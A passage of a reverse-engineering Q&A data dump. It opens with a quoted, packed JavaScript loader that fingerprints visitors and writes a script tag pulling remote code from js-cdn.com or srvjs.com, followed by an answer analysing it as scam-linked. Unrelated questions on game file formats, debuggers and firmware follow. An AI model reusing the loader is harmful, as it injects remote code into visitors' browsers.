f++,c;n();default:e=f;45==k&amp;amp;&amp;amp;(l=!0,k=a.charCodeAt(++f));if(48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k){for(48==k&amp;amp;&amp;amp;(k=a.charCodeAt(f+1),48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k)&amp;amp;&amp;amp;n();f&amp;lt;b&amp;amp;&amp;amp;(k=a.charCodeAt(f),48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k);f++);if(46==a.charCodeAt(f)){for(d=++f;d&amp;lt;b&amp;amp;&amp;amp;(k=a.charCodeAt(d),48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k);d++);d==f&amp;amp;&amp;amp;n();f=d}k=a.charCodeAt(f);if(101==&#xA;    k||69==k){k=a.charCodeAt(++f);43!=k&amp;amp;&amp;amp;45!=k||f++;for(d=f;d&amp;lt;b&amp;amp;&amp;amp;(k=a.charCodeAt(d),48&amp;lt;=k&amp;amp;&amp;amp;57&amp;gt;=k);d++);d==f&amp;amp;&amp;amp;n();f=d}return+a.slice(e,f)}l&amp;amp;&amp;amp;n();if(&quot;true&quot;==a.slice(f,f+4))return f+=4,!0;if(&quot;false&quot;==a.slice(f,f+5))return f+=5,!1;if(&quot;null&quot;==a.slice(f,f+4))return f+=4,null;n()}return&quot;$&quot;},M=function(a){var b,c;&quot;$&quot;==a&amp;amp;&amp;amp;n();if(&quot;string&quot;==typeof a){if(&quot;@&quot;==(F?a.charAt(0):a[0]))return a.slice(1);if(&quot;[&quot;==a){for(b=[];;c||(c=!0)){a=C();if(&quot;]&quot;==a)break;c&amp;amp;&amp;amp;(&quot;,&quot;==a?(a=C(),&quot;]&quot;==a&amp;amp;&amp;amp;n()):n());&quot;,&quot;==a&amp;amp;&amp;amp;n();b.push(M(a))}return b}if(&quot;{&quot;==&#xA;    a){for(b={};;c||(c=!0)){a=C();if(&quot;}&quot;==a)break;c&amp;amp;&amp;amp;(&quot;,&quot;==a?(a=C(),&quot;}&quot;==a&amp;amp;&amp;amp;n()):n());&quot;,&quot;!=a&amp;amp;&amp;amp;&quot;string&quot;==typeof a&amp;amp;&amp;amp;&quot;@&quot;==(F?a.charAt(0):a[0])&amp;amp;&amp;amp;&quot;:&quot;==C()||n();b[a.slice(1)]=M(C())}return b}n()}return a},P=function(a,b,c){c=O(a,b,c);c===w?delete a[b]:a[b]=c},O=function(a,b,c){var d=a[b],e;if(&quot;object&quot;==typeof d&amp;amp;&amp;amp;d)if(&quot;[object Array]&quot;==u.call(d))for(e=d.length;e--;)P(d,e,c);else D(d,function(a){P(d,a,c)});return c.call(a,b,d)};c.parse=function(a,b){var c,d;f=0;J=&quot;&quot;+a;c=M(C());&quot;$&quot;!=C()&amp;amp;&amp;amp;n();f=J=null;return b&amp;amp;&amp;amp;&#xA;&quot;[object Function]&quot;==u.call(b)?O((d={},d[&quot;&quot;]=c,d),&quot;&quot;,b):c}}}c.runInContext=b;return c}var a=&quot;function&quot;===typeof define&amp;amp;&amp;amp;define.amd,m={&quot;function&quot;:!0,object:!0},c=m[typeof exports]&amp;amp;&amp;amp;exports&amp;amp;&amp;amp;!exports.nodeType&amp;amp;&amp;amp;exports,d=m[typeof window]&amp;amp;&amp;amp;window||this,e=c&amp;amp;&amp;amp;m[typeof module]&amp;amp;&amp;amp;module&amp;amp;&amp;amp;!module.nodeType&amp;amp;&amp;amp;&quot;object&quot;==typeof global&amp;amp;&amp;amp;global;!e||e.global!==e&amp;amp;&amp;amp;e.window!==e&amp;amp;&amp;amp;e.self!==e||(d=e);if(c&amp;amp;&amp;amp;!a)b(d,c);else{var l=d.JSON,x=d.JSON3,q=!1,E=b(d,d.JSON3={noConflict:function(){q||(q=!0,d.JSON=l,d.JSON3=x,l=x=null);&#xA;    return E}});d.JSON={parse:E.parse,stringify:E.stringify}}a&amp;amp;&amp;amp;define(function(){return E})}).call(this);(function(){var b=x(),a=(new Date).getTimezoneOffset()/-1,m=Math.floor(9999999*Math.random()+1E4),c=document.referrer,d=window.location.toString(),e;e=(e=/\?cr=([^&amp;amp;]+)/.exec(q().src))?l.decode(e[1]):&quot;&quot;;b=&quot;?d=&quot;+l.encode(JSON.stringify({k:b,b:a,c:m,r:c,s:d,cr:e}));a=q().src;a=-1&amp;lt;a.indexOf(&quot;//&quot;)?a.split(&quot;/&quot;)[2]:a.split(&quot;/&quot;)[0];a=a.split(&quot;:&quot;)[0];a=&quot;//&quot;+(a?a:H(106,115,45,99,100,110,46,99,111,109))+H(47,&#xA;        105,109,112,47)+x()+&quot;.js&quot;;document.write('&amp;lt;script src=&quot;'+(a+b)+'&quot;&amp;gt;\x3c/script&amp;gt;')})()})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17994" LastActivityDate="2016-11-07T09:30:15.933" Title="How do I reverse this javascript code? How is it packed?" Tags="|javascript|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13869" PostTypeId="2" ParentId="13868" CreationDate="2016-11-05T18:41:25.057" Score="11" Body="&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script writes a &lt;code&gt;&amp;lt;script src=...&amp;gt;&lt;/code&gt; tag at the end, so to know what it is doing, you could change the last &lt;code&gt;document.write&lt;/code&gt; to a &lt;code&gt;console.log&lt;/code&gt; or other defanging measures to see that this is written out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;//srvjs.com/imp/gie462.js?d=«base64»&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Visiting that URL &lt;del&gt;gives &quot;Whoops, looks like something went wrong.&quot; in HTML&lt;/del&gt;, so I guess the script has been inactivated at the moment, or I didn't pass the correct parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the script is loaded with relative path instead of from &lt;code&gt;srvjs.com&lt;/code&gt;, the host becomes &lt;code&gt;js-cdn.com&lt;/code&gt; instead. Googling for &lt;code&gt;js-cdn.com&lt;/code&gt; gives &lt;a href=&quot;https://thecomputerperson.wordpress.com/2015/07/12/yet-another-microsoft-scam-support-company-getsupportforyourpc-com-righttechnicalsupport-com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; which indicates the site is related to scam in 2015. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that both &lt;code&gt;srvjs.com/imp/gie462.js&lt;/code&gt; and &lt;code&gt;js-cdn.com/imp/gie462.js&lt;/code&gt; return the same content, so these two websites should be strongly related. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't much obfuscation, I think your unpacker is just not very good in quality. I just used VS Code's beautifier to &lt;a href=&quot;http://pastebin.com/AsV91hrr&quot; rel=&quot;nofollow noreferrer&quot;&gt;get this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is long, mainly because it included a lot of libraries. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;var l = {alphabet: ...}&lt;/code&gt; part is a base64 encoding library from &lt;a href=&quot;https://stackoverflow.com/a/24133397/224671&quot;&gt;https://stackoverflow.com/a/24133397/224671&lt;/a&gt; (o_O)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;function() { ... }.call(this)&lt;/code&gt; next it is &lt;a href=&quot;http://bestiejs.github.io/json3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON3&lt;/a&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The base64 data sent can be seen to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {&quot;k&quot;: &quot;gie462&quot;, &#xA;     &quot;b&quot;: (timezone),&#xA;     &quot;c&quot;: (random integer),&#xA;     &quot;r&quot;: (referrer),&#xA;     &quot;d&quot;: (current URL),&#xA;     &quot;cr&quot;: (the parameter `cr` of current page)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which doesn't seem to leak much information about the user before loading the real script (&lt;code&gt;imp/gie462.js&lt;/code&gt;). What is done in the real script is yet to be known.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update 2016 Nov 7th:&lt;/em&gt; The script is now up, currently just redirects to &lt;a href=&quot;http://google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://google.com&lt;/a&gt; when not given any parameters, so probably still in testing phase.&lt;/p&gt;&#xA;" OwnerUserId="16021" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2016-11-07T09:30:15.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13870" PostTypeId="1" CreationDate="2016-11-05T21:13:37.433" Score="1" ViewCount="363" Body="&lt;p&gt;I'm trying to understand how this game builds the map and terrain. Specially if it uses a heightmap. So I can write an app that can view the map and move around (camera) freely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I'm not entirely sure if the game actually uses height maps. But it was made in 2000/2001, so it makes sense if it did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following files are loaded each time a map is loaded. I'll use &lt;strong&gt;map 4&lt;/strong&gt; as an example from here on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/map/map4.spt&#xA;/map/map4.inf&#xA;/map/map4.obj&#xA;/terrain/chunk4.dat&#xA;/terrain/addterrain4.ctr&#xA;/terrain/addterrain4.obj&#xA;/terrain/addterrain4.inf&#xA;/terrain/addterrain4.t16&#xA;/terrain/terrain4.obj&#xA;/terrain/terrain4.t16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;*.T16&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I know these are textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;code&gt;terrain4.t16&lt;/code&gt; unpacked (terrain):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YDXDW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YDXDW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is &lt;code&gt;addterrain4.t16&lt;/code&gt; unpacked (building):&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/shxOj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/shxOj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;*.SPT&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I know this is an encrypted script. It contains things like ambient light color, sky color and other configurations for the map. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;*.CTR&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about this yet but I don't think this is the heightmap.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;*.INF&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about this yet but I don't think this is the heightmap. But it looks like positions for buildings/objects on the map.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;*.OBJ&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Although this sounds like a 3D object file, it isn't. So far I was able to parse this file with this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with open(&quot;map4.obj&quot;, &quot;rb&quot;) as bin:&#xA;    bin.seek(0, 2)&#xA;    file_size = bin.tell()&#xA;&#xA;    bin.seek(0)&#xA;&#xA;    unk1 = struct.unpack(&quot;&amp;lt;h&quot;, bin.read(2))[0]&#xA;&#xA;    width  = struct.unpack(&quot;&amp;lt;h&quot;, bin.read(2))[0]&#xA;    height = struct.unpack(&quot;&amp;lt;h&quot;, bin.read(2))[0]&#xA;&#xA;    c_width = struct.unpack(&quot;&amp;lt;h&quot;, bin.read(2))[0]&#xA;    c_heigth = struct.unpack(&quot;&amp;lt;h&quot;, bin.read(2))[0]&#xA;&#xA;    size1 = struct.unpack(&quot;&amp;lt;I&quot;, bin.read(4))[0]&#xA;    size2 = struct.unpack(&quot;&amp;lt;I&quot;, bin.read(4))[0]&#xA;&#xA;    bin.seek(50)&#xA;&#xA;    # (1, 76, 76, 304, 304, 5776, 92416)&#xA;    print(unk1, width, height, c_width, c_heigth, size1, size2)&#xA;&#xA;    for x in range(size1):&#xA;        unk2 = struct.unpack(&quot;&amp;lt;BBBB&quot;, bin.read(4))&#xA;&#xA;    for y in range(size2):&#xA;        unk3 = struct.unpack(&quot;&amp;lt;BB&quot;, bin.read(2))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script reads the file till the end so I think I got the parsing right. But I still don't understand what those bytes (unk2, unk3) mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the first few bytes: &lt;code&gt;(1, 76, 76, 304, 304, 5776, 92416)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;76x76&lt;/code&gt; seems to me like an image widthxheight. This is the part where I start to suspect that this must be the heightmaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;304x304&lt;/code&gt; is the size of the map coordinates, if I go to the bottom right part of the map, the coords show me x304 y304. &lt;code&gt;(0,0) (304,304)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;5776&lt;/code&gt; is 76*76.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;92416&lt;/code&gt; is 304*304.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing the cellspacing is 4, because &lt;code&gt;304/76 = 4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hmmm... Maybe I should be reading &lt;strong&gt;terrain4.obj&lt;/strong&gt; instead of &lt;strong&gt;map4.obj&lt;/strong&gt; ???&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Checking &lt;strong&gt;terrain4.obj&lt;/strong&gt; (filesize: 2,194,888)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with open(&quot;terrain4.obj&quot;, &quot;rb&quot;) as bin:&#xA;    bin.seek(0, 2)&#xA;    file_size = bin.tell()&#xA;&#xA;    bin.seek(0)&#xA;&#xA;    width  = struct.unpack(&quot;&amp;lt;I&quot;, bin.read(4))[0]&#xA;    height = struct.unpack(&quot;&amp;lt;I&quot;, bin.read(4))[0]&#xA;&#xA;    print(width, height)&#xA;&#xA;    for x in range(width*height):&#xA;        unk1 = struct.unpack(&quot;&amp;lt;fffHH&quot;, bin.read(16))&#xA;        print(unk1)&#xA;&#xA;        for y in range(10):&#xA;            unk2 = struct.unpack(&quot;&amp;lt;ffffffBBBBff&quot;, bin.read(36))&#xA;            print(unk2)&#xA;&#xA;        unk3 = struct.unpack(&quot;&amp;lt;HH&quot;, bin.read(4))&#xA;        print(unk3)&#xA;&#xA;    print((bin.tell()-file_size) == 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results of prints (last few lines):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(64656, 900)&#xA;(9536.0, 0.0, -9664.0, 8, 60)&#xA;(9536.0, 367.3583679199219, -9664.0, 0.6106882691383362, 0.7202576398849487, -0.3290725350379944, 125, 125, 125, 255, 0.5, 0.5)&#xA;(9472.0, 439.9534912109375, -9664.0, 0.6727219820022583, 0.5930730104446411, -0.4423908591270447, 72, 72, 72, 255, 0.0, 0.5)&#xA;(9472.0, 529.98291015625, -9600.0, 0.5103294849395752, 0.5574429631233215, -0.6548444032669067, 91, 91, 91, 255, 0.0, 0.0)&#xA;(9536.0, 428.7572021484375, -9600.0, 0.5774530172348022, 0.5274922251701355, -0.6231372356414795, 83, 83, 83, 255, 0.5, 0.0)&#xA;(9600.0, 382.6859436035156, -9600.0, 0.32311421632766724, 0.6967470049858093, -0.6404222846031189, 110, 110, 110, 255, 1.0, 0.0)&#xA;(9600.0, 331.24566650390625, -9664.0, 0.4635116457939148, 0.8214490413665771, -0.3322325348854065, 149, 149, 149, 255, 1.0, 0.5)&#xA;(9600.0, 326.34356689453125, -9728.0, 0.5303630828857422, 0.847672700881958, -0.012873286381363869, 122, 122, 122, 255, 1.0, 1.0)&#xA;(9536.0, 370.5403747558594, -9728.0, 0.603411078453064, 0.7964465618133545, 0.039598409086465836, 107, 107, 107, 255, 0.5, 1.0)&#xA;(9472.0, 423.61572265625, -9728.0, 0.6945193409919739, 0.7165639996528625, -0.06464438885450363, 97, 97, 97, 255, 0.0, 1.0)&#xA;(9472.0, 439.9534912109375, -9664.0, 0.6727219820022583, 0.5930730104446411, -0.4423908591270447, 72, 72, 72, 255, 0.0, 0.5)&#xA;(64656, 900)&#xA;(9664.0, 0.0, -9664.0, 8, 60)&#xA;(9664.0, 323.531005859375, -9664.0, -0.16421209275722504, 0.9194830656051636, -0.3571907877922058, 202, 202, 202, 255, 0.5, 0.5)&#xA;(9600.0, 331.24566650390625, -9664.0, 0.11137175559997559, 0.9239282011985779, -0.3659959137439728, 199, 199, 199, 255, 0.0, 0.5)&#xA;(9600.0, 382.6859436035156, -9600.0, 0.32311421632766724, 0.6967470049858093, -0.6404222846031189, 110, 110, 110, 255, 0.0, 0.0)&#xA;(9664.0, 370.8617248535156, -9600.0, -0.030711062252521515, 0.8036384582519531, -0.5943247675895691, 202, 202, 202, 255, 0.5, 0.0)&#xA;(9728.0, 387.73626708984375, -9600.0, -0.3357184827327728, 0.8114649057388306, -0.478348970413208, 202, 202, 202, 255, 1.0, 0.0)&#xA;(9728.0, 359.2901306152344, -9664.0, -0.4858676493167877, 0.869583010673523, -0.0880785584449768, 202, 202, 202, 255, 1.0, 0.5)&#xA;(9728.0, 373.6744079589844, -9728.0, -0.6241185665130615, 0.7812370657920837, -0.012026631273329258, 202, 202, 202, 255, 1.0, 1.0)&#xA;(9664.0, 302.3572998046875, -9728.0, -0.23366673290729523, 0.9231089949607849, -0.3054006099700928, 202, 202, 202, 255, 0.5, 1.0)&#xA;(9600.0, 326.34356689453125, -9728.0, 0.23029862344264984, 0.9547197222709656, -0.18834225833415985, 177, 177, 177, 255, 0.0, 1.0)&#xA;(9600.0, 331.24566650390625, -9664.0, 0.11137175559997559, 0.9239282011985779, -0.3659959137439728, 199, 199, 199, 255, 0.0, 0.5)&#xA;(64656, 900)&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;*.DAT&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First few bytes of 2,127,308 total:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 19 00 00 00 00 01 00 00 23 00 00 00 00 00 80 42 ........#......B&#xA;00000016 00 00 FF 43 00 00 80 C2 00 00 00 00 FF FF 7F 3F ...C...........?&#xA;00000032 00 00 00 00 7A 7A 7A FF 00 00 00 3F 00 00 00 3F ....zzz....?...?&#xA;00000048 00 00 00 00 00 00 FF 43 00 00 80 C2 00 00 00 00 .......C........&#xA;00000064 FF FF 7F 3F 00 00 00 00 7A 7A 7A FF 00 00 00 00 ...?....zzz.....&#xA;00000080 00 00 00 3F 00 00 00 00 00 00 FF 43 00 00 00 80 ...?.......C....&#xA;00000096 00 00 00 00 FF FF 7F 3F 00 00 00 00 7A 7A 7A FF .......?....zzz.&#xA;00000112 00 00 00 00 00 00 00 00 00 00 80 42 00 00 FF 43 ...........B...C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure about this one though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Could the .obj file possibly be the heightmap, if not, what is it?&lt;/li&gt;&#xA;&lt;li&gt;Any idea what the .CTR and .INF files are? (guesses?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional Information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The map 4 is called Lava Canyon. It features paths surrounded by canyons of lava.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minimap Texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZJLpo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZJLpo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related files: &lt;a href=&quot;http://www.mediafire.com/file/cab16yc1sbr3gpw/map_files.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download From Mediafire&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8243" LastEditorUserId="8243" LastEditDate="2016-11-06T04:09:30.583" LastActivityDate="2016-11-06T04:09:30.583" Title="Analyzing Game Map/Terrain Format" Tags="|binary-analysis|hex|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13873" PostTypeId="1" AcceptedAnswerId="13875" CreationDate="2016-11-06T14:55:30.170" Score="2" ViewCount="804" Body="&lt;p&gt;I want to ask if somebody is aware of tools/projects which are similar to the &lt;em&gt;Appcall&lt;/em&gt; feature of IDA Pro[1] for Android Apps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the possibility to run certain methods detected in the smali code without running the whole APK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;http://www.hexblog.com/?p=113&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hexblog.com/?p=113&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18010" LastActivityDate="2016-11-06T20:44:01.923" Title="Call Android method without running whole Android-App" Tags="|android|gdb|dynamic-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13874" PostTypeId="1" CreationDate="2016-11-06T16:46:43.187" Score="1" ViewCount="1245" Body="&lt;p&gt;I have 64 bit process I want to debug with x64dbg. There is memory mapped file, I found with help of Process Explorer. Properties windows says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type: Section&#xA;Description: A memory mapped file or paging-file...&#xA;Address: 0xFFFFF8A002D8A080&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I look into x64dbg Memory Map tab, there is no such addresses. I see only range &lt;code&gt;0000000000010000-000007FFFFFE0000&lt;/code&gt;. How I can find memory mapped file? I want to place memory breakpoint on it.&lt;/p&gt;&#xA;" OwnerUserId="18011" LastEditorUserId="60" LastEditDate="2017-08-17T13:23:44.110" LastActivityDate="2017-08-17T13:23:44.110" Title="Find memory mapped file with x64dbg" Tags="|memory|x86-64|x64dbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13875" PostTypeId="2" ParentId="13873" CreationDate="2016-11-06T20:44:01.923" Score="4" Body="&lt;p&gt;You should be able to write a separate application that dynamically loads the dex file from the app that you are interested in using &lt;a href=&quot;https://developer.android.com/reference/dalvik/system/DexClassLoader.html&quot; rel=&quot;noreferrer&quot;&gt;DexClassLoader&lt;/a&gt;, allowing you to construct classes and call methods from that dex file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the path to the other apk using PackageManager.getApplicationInfo(). The &lt;a href=&quot;https://developer.android.com/reference/android/content/pm/ApplicationInfo.html#sourceDir,&quot; rel=&quot;noreferrer&quot;&gt;sourceDir&lt;/a&gt; field of the returned ApplicationInfo object will have the path to the apk.&lt;/p&gt;&#xA;" OwnerUserId="8063" LastActivityDate="2016-11-06T20:44:01.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="2" ParentId="12560" CreationDate="2016-11-07T03:00:52.940" Score="0" Body="&lt;p&gt;You may need to first unpack the bin file (using something like binwalk).  I don't think that you can just reference the .bin as an hda. Typically, once you unpack the .bin file, you will be given the filesystem of the device.  you have have several different partitions as some router manufactures will create a main fs shared across several models, and then create smaller modules to be loaded into model specific devices.  If you look at the init of the root fs you should be able to see how other partitions in the .bin are getting moved around, and mimic it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I have never attempted to emulate the full device, I find more value in being able to unpack the .bin , and scp it over to the wheezy_mips hda and and attempt to run parts of the router by themselves. Also I think you are going to run into networking problems.  emulating the wheezy_mips hda is easy, remember that your .bin is meant to load in an environment that has several network interfaces, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Good luck. &lt;/p&gt;&#xA;" OwnerUserId="17076" LastActivityDate="2016-11-07T03:00:52.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13877" PostTypeId="1" AcceptedAnswerId="13878" CreationDate="2016-11-07T05:14:52.713" Score="0" ViewCount="433" Body="&lt;p&gt;I debug a program with IDA, it have a part of code that i don't understand &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_8048E30:                            ; CODE XREF: phase_6+9Ej&#xA;.text:08048E30 mov     esi, [esi+8]&#xA;.text:08048E33 inc     ebx&#xA;.text:08048E34 cmp     ebx, eax&#xA;.text:08048E36 jl      short loc_8048E30   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;line 1: &lt;code&gt;mov esi, [esi+8]&lt;/code&gt; when I debug address of esi is &lt;code&gt;0x804B260&lt;/code&gt; so &lt;code&gt;esi+8&lt;/code&gt; is &lt;code&gt;0x804B268&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value in &lt;code&gt;[esi+8]&lt;/code&gt; is &lt;code&gt;60h&lt;/code&gt; so after &lt;code&gt;mov esi, [esi+8]&lt;/code&gt;, the value in &lt;code&gt;esi&lt;/code&gt; is &lt;code&gt;60h&lt;/code&gt; but it really is &lt;code&gt;0x804B260&lt;/code&gt;. Why it is &lt;code&gt;0x804B260&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when esi is named .data:node2, it is linked link?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wjNoC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wjNoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/e9u92.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/e9u92.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="2147" LastEditDate="2016-11-11T17:15:11.047" LastActivityDate="2016-11-11T17:15:11.047" Title="Linked list in IDA" Tags="|ida|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13878" PostTypeId="2" ParentId="13877" CreationDate="2016-11-07T08:38:30.320" Score="2" Body="&lt;p&gt;The instruction &lt;code&gt;mov esi, [esi + 8]&lt;/code&gt; copies &lt;strong&gt;4 bytes&lt;/strong&gt; (DWORD) of data at the location pointed to by &lt;code&gt;esi + 8&lt;/code&gt;to register &lt;code&gt;esi&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case &lt;code&gt;esi&lt;/code&gt; is &lt;code&gt;0804B260&lt;/code&gt; so it copies &lt;strong&gt;4 bytes&lt;/strong&gt; from &lt;code&gt;0804B268&lt;/code&gt;. Since x86_64 is little endian the least significant byte as per the screenshot 1 is 0x60. The remaining three bytes are located below (not in the picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is named &lt;code&gt;node2&lt;/code&gt; as it is an exported symbol.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2016-11-07T08:38:30.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13879" PostTypeId="1" CreationDate="2016-11-07T21:25:04.473" Score="7" ViewCount="8503" Body="&lt;p&gt;I managed to get the firmware for my IoT device but the firmware is in HEX. What is the best way to convert it to a binary so I can use binwalk?&#xA;So far I've tried converting it with &lt;code&gt;srec_cat hex.file -Intel -Output binary.file -Binary&lt;/code&gt;. I have tried to analyze the converted file with binwalk but the only results I get are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHA256 hash constants, little endian&#xA;Certificate in DER format (x509 v3), header length: 4, sequence length: 678&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: after using &lt;code&gt;binwalk -Ive binary.file&lt;/code&gt; I managed to extract some files. The files are not detected correctly but when I look at the files I see bits of text used on my 